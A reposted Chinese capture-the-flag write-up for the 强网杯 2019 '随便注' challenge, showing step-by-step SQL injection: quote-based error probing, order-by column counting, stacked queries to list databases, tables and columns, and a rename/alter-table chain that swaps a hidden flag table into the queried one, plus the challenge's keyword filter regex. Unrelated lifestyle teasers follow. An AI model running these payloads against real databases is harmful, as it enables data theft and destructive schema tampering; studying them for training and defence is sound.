首页
/
每日頭條
/
生活
/
sql注入漏洞原理與利用
sql注入漏洞原理與利用
更新时间:2026-02-26 06:46:19
[強網杯 2019] 随便注

每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)1

使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)2

1' 1''

sql注入漏洞原理與利用(黑客必會之SQL注入學習)3

既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。

1.猜字段數

1' order by 3# 1' order by 2#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)4

sql注入漏洞原理與利用(黑客必會之SQL注入學習)5

使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。

2.使用聯合查詢

sql注入漏洞原理與利用(黑客必會之SQL注入學習)6

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。

3.嘗試堆疊注入

1';show databases#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)7

發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名

-1';show tables#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)8

成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段

0';show columns from `1919810931114514`;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)9

發現有一個flag字段,接下來就是嘗試讀取flag。

4. 再查看words表的結構

0';desc words;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)10

可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。

5. 那麼查詢語句很有可能是 : selsect id,data from words where id =

然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)11

成功拿到flag。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
馬伊琍穿衣服的風格圖片
馬伊琍穿衣服的風格圖片
說起馬伊利,想必大家都非常熟悉了吧,馬伊琍作為一個顔值高、氣質佳、演技好的女演員,一直都很受觀衆喜歡,參演的許多部電視劇都給大家留下了深刻的印象。近日她與文章離婚的消息又引起了很大一陣的轟動,雖說她現在已經離婚了,但馬伊利依然活出了自我,不僅在事業上很成功,在生活中也值得人們學習,比如她的穿搭就非常...
2026-02-26
女士胸罩怎麼搭配
女士胸罩怎麼搭配
1、工作時的内衣搭配上班時所穿的内衣,以簡單合身、穩定性高的款式為主。顔色以白、米、淡粉色等不明顯的色彩為宜,給人端莊自重的印象。切忌工作時舉手投足間不經意顯現出内衣的線條。平常工作時,因為時常要活動,所以應選用舒适的标準型胸罩。不管任何胸部,都可以使用這種向上承托而且有鋼圈的胸罩。選擇無痕型的束褲...
2026-02-26
金枝玉葉怎麼養爆盆
金枝玉葉怎麼養爆盆
1、溫度:首先當然是溫度了,如果溫度降到五攝氏度左右的話,它的葉片就會大量掉落。所以,将溫度控制在十度之上是比較有利于它爆盆的。别的季節可以不加注意,特别是在冬季,一定不能掉以輕心。2、陽光:平時可以盡量多的給它光照,這樣可以幫助它爆盆。不過,當然是除了夏季高溫時,特别是在正午時分,為了不讓它受到烈...
2026-02-26
脆魚做法是什麼
脆魚做法是什麼
1、首先先在魚肉裡加入鹽、雞精、醋、料酒、醬油、孜然粉、胡椒粉和蛋清抓勻,腌制30分鐘。2、然後把配菜準洗幹淨,用刀切好放在一旁備用。3、放油下鍋,把配菜炒七分熟,起鍋備用。4、鍋裡加油,把辣椒、生姜、蒜頭和魚片倒入,翻炒五分鐘。5、再把菜倒入魚裡,繼續翻炒,悶十分鐘,中間翻炒一次。6、喜歡吃辣的可...
2026-02-26
吹大卷發正确手法是什麼
吹大卷發正确手法是什麼
1、想要吹大卷發,首先我們需要對我們的頭發進行清洗。這樣可以使我們的頭發更加的柔順光滑。2、清洗好了頭發之後,我們還需要使用一些護發素。使用完護發素之後,等到護發素被頭發吸收之後,我們再清洗一遍自己的頭發。3、接下來我們使用梳子,把自己的頭發梳理的柔順一些。這樣是為吹大卷發做準備。4、用梳子吧,頭發...
2026-02-26
Copyright 2023-2026 - www.tftnews.com All Rights Reserved